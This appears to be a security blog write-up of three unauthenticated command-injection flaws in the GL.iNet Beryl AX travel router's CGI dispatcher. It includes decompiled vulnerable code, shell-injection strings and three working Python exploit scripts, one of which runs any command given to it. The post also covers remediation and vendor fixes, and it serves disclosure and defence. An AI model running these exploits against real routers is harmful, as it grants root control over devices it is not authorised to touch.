HB Updated Jun 13, 2026

GL.iNet Beryl AX Triple RCE: CVE-2026-11450/11451/11452 — Unauthenticated Root on a Travel Router

Introduction

On June 7, 2026, three critical command injection vulnerabilities were published against the GL.iNet GL-MT3000 — better known as the Beryl AX, one of the most popular pocket-sized travel routers on the market. All three share a single devastating root cause: the router’s CGI dispatcher has no authentication, no method allowlist, and no input sanitization, allowing any device on the local network to call arbitrary internal functions as root.

The vulnerabilities — CVE-2026-11450, CVE-2026-11451, and CVE-2026-11452 — were discovered by security researcher StrTzz123 in firmware version 4.4.5 and reported to GL.iNet on May 11–12, 2026. Each CVE exploits a different code path through the same unauthenticated /cgi-bin/glc endpoint, and each uses a distinct shell injection technique. Together they demonstrate a pattern of systematic insecurity in the router’s plugin architecture: every RPC-exposed function that ultimately passes user input to system() is a potential root shell.

GL.iNet routers are a staple of the security community. They run OpenWrt, support WireGuard and OpenVPN out of the box, and are compact enough to carry in a pocket. The GL-MT3000 specifically features a MediaTek MT7981B dual-core SoC, Wi-Fi 6, a 2.5G WAN port, and 512MB of RAM — respectable hardware that makes it popular with penetration testers, privacy-conscious travelers, and enterprise remote-access deployments. A compromised travel router is a serious proposition: it sits between the user and every network they connect to, making it an ideal MITM pivot point.


Vulnerability Classification

Field CVE-2026-11450 CVE-2026-11451 CVE-2026-11452
CVSS v3.1 7.3 HIGH 7.3 HIGH 7.3 HIGH
CVSS v4.0 6.9 MEDIUM 6.9 MEDIUM 6.9 MEDIUM
CWE CWE-74 / CWE-77 CWE-74 / CWE-77 CWE-74 / CWE-77
Attack Vector Network Network Network
Authentication None required None required None required
User Interaction None None None
Entry Point /cgi-bin/glc /cgi-bin/glc /cgi-bin/glc
Affected Component nas-web.so::disk_remove_do gl_nas_sys::FUN_0045dc80 gl_nas_sys::FUN_0042d340
Injection Technique $() in double quotes via buffer mismatch ' single-quote escape $() in double-quoted password
Impact Root RCE Root RCE Root RCE
Affected Firmware ≤ 4.4.5 ≤ 4.4.5 ≤ 4.4.5
Fixed Firmware ≥ 4.7 ≥ 4.8.1 ≥ 4.8.1

Note on CVSS v4.0: The CVSS v4.0 scores (6.9) rate the impact as Low across confidentiality, integrity, and availability. This significantly understates the real-world severity. The vulnerability grants full root code execution on the device — an attacker can reflash firmware, inject persistent backdoors, intercept all network traffic, and pivot into connected networks. The CVSS 3.1 score of 7.3 is a more accurate reflection of the risk.


The Common Root Cause: /cgi-bin/glc

All three vulnerabilities flow through the same architectural flaw. Understanding this shared entry point is essential before diving into each individual exploit.

The glc CGI Dispatcher

The GL-MT3000’s web management interface is served by an OpenWrt-based HTTP stack. When a browser or API client sends a POST request to /cgi-bin/glc, it hits a small AArch64 ELF binary at /www/cgi-bin/glc. This binary does three things:

  1. Parses the JSON POST body, extracting object, method, and args fields
  2. Constructs a path to a shared library: /usr/lib/oui-httpd/rpc/<object>.so
  3. Calls dlopen() on the library, dlsym() on the method name, and invokes the resolved function with the raw JSON args

There is no authentication check. There is no method allowlist. Any exported symbol in any plugin .so file can be called by any network-reachable client.

// /www/cgi-bin/glc — simplified decompilation
json_unpack_ex(body, "{s:s,s:s,s?o}",
    "object", &object,    // e.g. "nas-web"
    "method", &method,    // e.g. "eject_disk_do1"
    "args",   &args);     // e.g. {"dev_name": "..."}

snprintf(path, 0x80, "%s/%s.so", "/usr/lib/oui-httpd/rpc", object);
handle = dlopen(path, RTLD_NOW);
handler = dlsym(handle, method);
handler(args, result);   // call with raw, unsanitized JSON args

This is a textbook RPC dispatcher without boundary enforcement. The intended architecture is that the admin panel JavaScript calls specific methods on specific objects. But the CGI binary treats the network as trusted — any client that can reach tcp/80 (or tcp/443) on the router’s LAN IP can invoke any function.

Architecture Overview

The Plugin Chain

The nas-web.so plugin handles NAS (Network Attached Storage) functionality — USB disk management, FTP/Samba/WebDAV configuration, and user management. Some methods in nas-web.so handle requests directly (like eject_disk_do1), while others act as transparent proxies, forwarding the JSON payload via libcurl to a separate root-privileged daemon called gl_nas_sys.

Request Flow:
  Attacker → POST /cgi-bin/glc
           → glc: dlopen("nas-web.so"), dlsym("method_name")
           → nas-web.so: method(args)
              ├── Direct handling: eject_disk_do1 → disk_remove_do() → system()
              └── Proxy to gl_nas_sys:
                    → libcurl POST to localhost
                    → gl_nas_sys: route dispatcher
                       ├── FUN_0045dc80 (FTP handler) → snprintf + system()
                       └── FUN_0042d340 (smbpasswd) → snprintf + system()

The critical observation is that every path ends with system(), and none of them sanitize user input before it reaches the shell.


CVE-2026-11450: Buffer Size Mismatch in Disk Eject

This is the most technically interesting of the three. It exploits a mismatch between two buffer sizes in the disk_remove_do() function to bypass an access() validation gate and inject commands through system().

The Vulnerability

The eject_disk_do1 function in nas-web.so extracts the dev_name parameter from the JSON request body and passes it to disk_remove_do(). This function performs two operations with the same dev_name string:

  1. Validation gate: Constructs a filesystem path with snprintf(path, 0x40, "/dev/%s", dev_name) and checks if it exists with access(path, F_OK)
  2. Command sink: Constructs a shell command with snprintf(cmd, 0x100, "echo \"#remove_dev:%s;\" > ...", dev_name) and executes it with system(cmd)

The path buffer is 64 bytes (0x40), while the command buffer is 256 bytes (0x100). When dev_name exceeds 58 characters (64 − 5 for “/dev/” − 1 for NUL), snprintf truncates it for the access() check — but the full string reaches system() through the larger command buffer.

// nas-web.so::disk_remove_do (0x5e6c)

// Gate: 0x40-byte path buffer — snprintf truncates dev_name
snprintf(path, 0x40, "/dev/%s", dev_name);       // 64-byte buffer
if (access(path, F_OK) != 0) {
    log("remove dev not exist, dev = %s\n", path);
    return 1;                                     // abort
}

// Sink: 0x100-byte command buffer — FULL dev_name reaches system()
snprintf(cmd, 0x100,
    "echo \"#remove_dev:%s;\" > /tmp/gl_nas/pipe_disk_add_remove >/dev/null &",
    dev_name);                                     // 256-byte buffer
system(cmd);                                      // /bin/sh -c → executes!

The Bypass

The exploit leverages three interacting behaviors:

1. Buffer size mismatch: The access() gate only sees the first 58 characters of dev_name. Anything beyond that is invisible to the validation but survives into the system() command.

2. Linux path normalization: The kernel normalizes consecutive forward slashes to a single /. So /dev//////...//null becomes /dev/null, which exists on every Linux system. This means access() returns 0 (success).

3. Shell command substitution in double quotes: The $() construct is evaluated by /bin/sh -c even when enclosed in double quotes.

dev_name = "/" × 54 + "null" + "$(id>/tmp/poc)"

access() sees:  /dev/ + (54 × "/") + "null"  → /dev/null  → ✓ EXISTS
system() sees:  echo "#remove_dev:/ + (54×"/") + null$(id>/tmp/poc);">... → EXECUTES

Buffer Mismatch Exploit

Proof of Concept

The full PoC for all three CVEs is available at:

https://github.com/Hunt-Benito/glinet-beryl-ax-triple-rce-cve-2026-11450-11451-11452-unauthenticated-root-on-travel-router

$ git clone https://github.com/Hunt-Benito/glinet-beryl-ax-triple-rce-cve-2026-11450-11451-11452-unauthenticated-root-on-travel-router.git
$ cd glinet-beryl-ax-triple-rce-cve-2026-11450-11451-11452-unauthenticated-root-on-travel-router
$ python3 poc.py http://192.168.8.1 -c "id" -v 11450

CVE-2026-11450 — exploit via buffer size mismatch:

#!/usr/bin/env python3
import json, urllib.request

base = "http://192.168.8.1"

prefix = "/" * 54 + "null"
payload = "$(id>/tmp/nas_eject_poc)"
dev_name = prefix + payload

body = {
    "object": "nas-web",
    "method": "eject_disk_do1",
    "args": {"dev_name": dev_name}
}

req = urllib.request.Request(
    base + "/cgi-bin/glc",
    data=json.dumps(body).encode(),
    headers={"Content-Type": "application/json"},
    method="POST",
)

print("dev_name_len:", len(dev_name))
print("checked_path:", "/dev/" + dev_name[:58])
resp = urllib.request.urlopen(req, timeout=10).read().decode(errors="replace")
print("response:", resp)
print("[+] check /tmp/nas_eject_poc on target")

Expected response: 0 {}
Expected proof: /tmp/nas_eject_poc containing uid=0(root) gid=0(root)


CVE-2026-11451: Single-Quote Escape in FTP Handler

The second vulnerability targets the FTP protocol configuration handler in the gl_nas_sys daemon. It exploits a classic shell quoting escape: user input is placed inside single-quoted strings in a shell command, but the input itself contains a single quote that breaks out of the quoting context.

The Vulnerability

When the set_proto_config method is called, nas-web.so serializes the JSON arguments and forwards them unchanged via libcurl to the gl_nas_sys daemon on localhost. The daemon’s FTP handler (FUN_0045dc80) extracts the media_dir parameter and passes it into two snprintf + system() calls that construct shell commands wrapped in single quotes.

// gl_nas_sys::FUN_0045dc80 (FTP handler)
item = json_get_field(json_obj, "media_dir");
pcVar6 = *(char **)(item + 0x20);     // raw user input

if (enable && pcVar6 != NULL && pcVar6[0] != '\0') {
    snprintf(buf, 0x200,
        "echo 'anon_root=/tmp/mountd%s' >> /etc/vsftpd.conf",
        pcVar6);                        // %s = raw user input
    system(buf);                        // Sink 1

    snprintf(buf, 0x200,
        "mkdir -p /home/ftp;chmod 777 -R '/tmp/mountd%s'",
        pcVar6);                        // %s = raw user input
    system(buf);                        // Sink 2
}

There is no filtering of shell metacharacters. The attacker controls what goes into %s.

The Exploit

The attack injects a single quote (') into media_dir to close the single-quoted context, then appends shell commands separated by semicolons:

media_dir = "/x';id>/tmp/poc 2>&1;#"

Command becomes:
  echo 'anon_root=/tmp/mountd/x';id>/tmp/poc 2>&1;#' >> /etc/vsftpd.conf

Shell parsing:
  echo 'anon_root=/tmp/mountd/x'     ← single-quoted string (safe, literal)
  ;                                   ← command separator
  id>/tmp/poc 2>&1                    ← INJECTED COMMAND (root execution)
  ;                                   ← command separator
  #' >> /etc/vsftpd.conf              ← # comments out the trailing template

Quote Escape Exploit

Proof of Concept

#!/usr/bin/env python3
import json, urllib.request, ssl

ctx = ssl.create_default_context()
ctx.check_hostname = False
ctx.verify_mode = ssl.CERT_NONE

dev_name = "/codexp20';id>/tmp/nas_proto_poc 2>&1;#"

body = {
    "object": "nas-web",
    "method": "set_proto_config",
    "args": {
        "protos": [{
            "name": "ftp",
            "enable": 1,
            "media_dir": dev_name
        }]
    }
}

req = urllib.request.Request(
    "https://192.168.8.1/cgi-bin/glc",
    data=json.dumps(body).encode(),
    headers={"Content-Type": "application/json"},
    method="POST",
)
print(urllib.request.urlopen(req, timeout=10, context=ctx).read().decode())
print("[+] check /tmp/nas_proto_poc on target")

CVE-2026-11452: Command Substitution in Password Handler

The third vulnerability exploits the Samba password synchronization function. The password parameter is placed inside double quotes in a printf command, where $() command substitution is still expanded by the shell.

The Vulnerability

When set_user_pwd is called, the request flows through the same plugin chain: glcnas-web.so → libcurl → gl_nas_sys. The SET_USER_PWD handler (route 0x65, FUN_0043db80) extracts the password parameter and passes it through to FUN_0042d340, which constructs a smbpasswd command:

// gl_nas_sys::FUN_0042d340
snprintf(cmd, 0x100,
    "printf \"%s\\n%s\\n\" | smbpasswd -a -s %s",
    password,      // user-controlled, inside double quotes
    password,      // appears twice
    name);         // NAS username

system(cmd);       // /bin/sh -c → $() expands inside double quotes!

The format string "printf \"%s\\n%s\\n\" | smbpasswd -a -s %s" places the password inside double quotes. Inside double quotes, the shell still performs:
- $() — command substitution
- ` — backtick command substitution
- $variable — variable expansion

But NOT single-quote matching. This means the escape technique from CVE-2026-11451 won’t work here, but $() works perfectly.

Validation Bypass

The handler has some prerequisite checks:

Check Status Bypass
HTTP authentication None /cgi-bin/glc has zero auth
NAS service running Required set_nas_ser({enable:1}) + start() — both unauthenticated
NAS user must exist Required get_user_list leaks all usernames — unauthenticated
Old password verification None old_pwd=0 skips comparison entirely
Password format/strength None Any characters accepted, including $() ` ;
Shell metacharacter filter None No sanitization anywhere

The attacker first calls set_nas_ser and start to ensure the NAS service is running, then get_user_list to enumerate valid usernames, and finally set_user_pwd with the injected password.

The Exploit

password = "Aa1!$(id>/tmp/poc)#"

Command becomes:
  printf "Aa1!$(id>/tmp/poc)#\nAa1!$(id>/tmp/poc)#\n" | smbpasswd -a -s root

Shell execution:
  1. Parse double-quoted string — find $(id>/tmp/poc)
  2. Execute command substitution FIRST: id > /tmp/poc  ← RCE
  3. Substitute empty stdout → password becomes "Aa1!#"
  4. Execute printf + smbpasswd with substituted value

The command substitution executes before printf even runs. The damage is done at step 2.

Password Injection Exploit

Proof of Concept

#!/usr/bin/env python3
import json, shlex, ssl, sys, time, urllib.request

TARGET = sys.argv[1] if len(sys.argv) > 1 else "https://192.168.8.1"
CMD    = sys.argv[2] if len(sys.argv) > 2 else "id"
OUT    = sys.argv[3] if len(sys.argv) > 3 else "/tmp/poc25_nas_setpwd"

ctx = ssl.create_default_context()
ctx.check_hostname = False
ctx.verify_mode = ssl.CERT_NONE

def glc(method, args):
    body = {"object": "nas-web", "method": method, "args": args}
    req = urllib.request.Request(
        TARGET.rstrip("/") + "/cgi-bin/glc",
        data=json.dumps(body).encode(),
        headers={"Content-Type": "application/json"},
        method="POST",
    )
    return urllib.request.urlopen(req, timeout=10, context=ctx).read().decode()

# Step 1: Start NAS service (unauthenticated)
print("[+] Starting NAS service...")
print("[+] set_nas_ser:", glc("set_nas_ser", {"enable": 1}))
print("[+] start:", glc("start", {}))
time.sleep(2)

# Step 2: Enumerate NAS users (unauthenticated)
users_raw = glc("get_user_list", {})
users = json.loads(users_raw.split(" ", 2)[2] or "{}").get("list", [])
if not users:
    print("[-] No NAS user found")
    sys.exit(1)
nas_user = users[-1]["name"]
print(f"[+] Found NAS user: {nas_user}")

# Step 3: Inject command via password parameter
command = f"sh -c {shlex.quote(CMD)}>{shlex.quote(OUT)} 2>&1"
nonce = str(time.time_ns())[-8:]
password = f"Aa1!$({command}){nonce}"

print(f"[+] Injecting via password: {password}")
raw = glc("set_user_pwd", {"name": nas_user, "password": password})
print(f"[+] Response: {raw}")
print(f"[+] Check output: cat {OUT}")

Why Three Different Techniques Matter

It would be easy to dismiss these as “just more command injection bugs.” What makes this cluster interesting from a security research perspective is the variety of injection techniques on display:

CVE Quoting Context Injection Vector Key Bypass
CVE-2026-11450 Double quotes $() subshell Buffer mismatch defeats access()
CVE-2026-11451 Single quotes ' breakout No metacharacter filtering
CVE-2026-11452 Double quotes $() subshell No password validation

Each technique requires a different mental model for exploitation. CVE-2026-11450 demands understanding of buffer truncation and path normalization — a combination that doesn’t come up often. CVE-2026-11451 is a classic SQL-injection-analogue in shell scripting: break the quoting context, inject, comment out the rest. CVE-2026-11452 exploits the fact that $() is expanded inside double quotes, a shell behavior that catches many C developers off guard when they use system() instead of execv().

This is also a textbook example of why defense in depth matters. Any single one of these vulnerabilities would be serious. The fact that three independent command injection paths exist through the same unauthenticated endpoint points to a systemic failure in the plugin architecture — not an isolated bug.


Affected Products

The vulnerabilities affect the GL.iNet GL-MT3000 (Beryl AX) travel router running firmware version 4.4.5 and earlier.

Detail Value
Device GL.iNet Beryl AX (GL-MT3000)
SoC MediaTek MT7981B, dual-core @ 1.3GHz
RAM/Flash 512MB DDR4 / 256MB NAND
Wi-Fi Wi-Fi 6 (AX3000): 574Mbps (2.4GHz) + 2402Mbps (5GHz)
Ports 1× 2.5G WAN, 1× 1G LAN, 1× USB 3.0
OS OpenWrt 21.02 (Linux kernel 5.4)
Vulnerable Firmware ≤ 4.4.5
Firmware Download https://dl.gl-inet.cn/router/mt3000/stable

The GL-MT3000 is one of GL.iNet’s best-selling products, widely available on Amazon, AliExpress, and the GL.iNet store. It is popular among:

  • Security professionals who use it as a portable VPN gateway
  • Travelers who use it to secure hotel and airport Wi-Fi
  • Enterprise remote workers who need a trusted network endpoint on the road
  • OpenWrt enthusiasts who appreciate the compact form factor and 2.5G port

A compromised travel router is particularly dangerous because the user intentionally trusts it with all their traffic. The whole point of carrying a travel router is to create a secure tunnel through untrusted networks. If the router itself is compromised, it becomes the attacker’s MITM platform — invisible to the user who assumes their VPN tunnel is clean.


Remediation

GL.iNet has released firmware updates that address all three vulnerabilities:

CVE Fixed Version Fix Description
CVE-2026-11450 ≥ 4.7 Method-level validation at /rpc layer; eject_disk removed from allowlist
CVE-2026-11451 ≥ 4.8.1 escape_single_quote() applied to media_dir before shell construction
CVE-2026-11452 ≥ 4.8.1 Single-quote escaping in password parameter; $() and backticks verified non-executable

Immediate Actions

  1. Update firmware to version 4.8.1 or later. Download from https://dl.gl-inet.com/router/mt3000 and apply through the admin panel or via sysupgrade.
  2. Restrict LAN access if immediate patching is not possible. The vulnerability is exploitable from the LAN side only (Wi-Fi or Ethernet connected to the router). Use ACLs on upstream switches/APs to limit which devices can reach the router’s management IP.
  3. Disable NAS functionality if USB storage features are not needed. The vulnerable code paths all reside in the NAS plugin chain (nas-web.so and gl_nas_sys).
  4. Change default credentials — while not directly related to these CVEs, the unauthenticated nature of the /cgi-bin/glc endpoint means that default admin passwords are even more critical to change.

Vendor Response

GL.iNet responded to the vulnerability reports with detailed technical explanations:

  • For CVE-2026-11450, the vendor confirmed that from firmware 4.7 onward, “method-level validation at the HTTP /rpc layer” is enabled, and “nas-web.eject_disk is no longer in the whitelist of allowed methods.”
  • For CVE-2026-11451 and CVE-2026-11452, the vendor stated that in firmware 4.8.1, “the code escapes single quotes using escape_single_quote()” and verified that “the payloads in the report […] cannot escape execution under the current code path.”

The vendor’s response is commendable — they engaged with the technical details, confirmed the vulnerabilities, and shipped fixes. However, the fact that three independent command injection paths existed through the same architectural flaw suggests the plugin framework needs a more systematic security review, not just point fixes for reported bugs.

Architectural Recommendations

For any vendor building a similar CGI-based plugin architecture:

Priority Action Rationale
P0 Add authentication to the CGI dispatcher Every RPC call should require a valid session token
P0 Implement a method allowlist Only explicitly approved methods should be callable via the dispatcher
P0 Never use system() with user input Use fork()/execv() with argument arrays, or direct file I/O
P1 Add input validation at the dispatcher layer Reject requests containing shell metacharacters before they reach plugins
P1 Run plugins in a sandboxed context Use seccomp, pledge, or a separate process with reduced capabilities

SOURCES

NIST NVD - CVE-2026-11450: https://nvd.nist.gov/vuln/detail/CVE-2026-11450
NIST NVD - CVE-2026-11451: https://nvd.nist.gov/vuln/detail/CVE-2026-11451
NIST NVD - CVE-2026-11452: https://nvd.nist.gov/vuln/detail/CVE-2026-11452
VulnDB - CVE-2026-11450: https://vuldb.com/?id.369070
VulnDB - CVE-2026-11451: https://vuldb.com/?id.369071
VulnDB - CVE-2026-11452: https://vuldb.com/?id.369072
PoC - CVE-2026-11450 (StrTzz123): https://github.com/StrTzz123/iot_vul/tree/main/GL-iNet/MT3000/4.4.5/nas_eject_disk_do1_glc_rce
PoC - CVE-2026-11451 (StrTzz123): https://github.com/StrTzz123/iot_vul/blob/main/GL-iNet/MT3000/4.4.5/nas_proto_media_dir_glc_rce/Readme.md
PoC - CVE-2026-11452 (StrTzz123): https://github.com/StrTzz123/iot_vul/blob/main/GL-iNet/MT3000/4.4.5/nas_set_user_pwd_glc_rce/Readme.md
GL.iNet GL-MT3000 Product Page: https://www.gl-inet.com/products/gl-mt3000/
GL.iNet Firmware Download: https://dl.gl-inet.com/router/mt3000/stable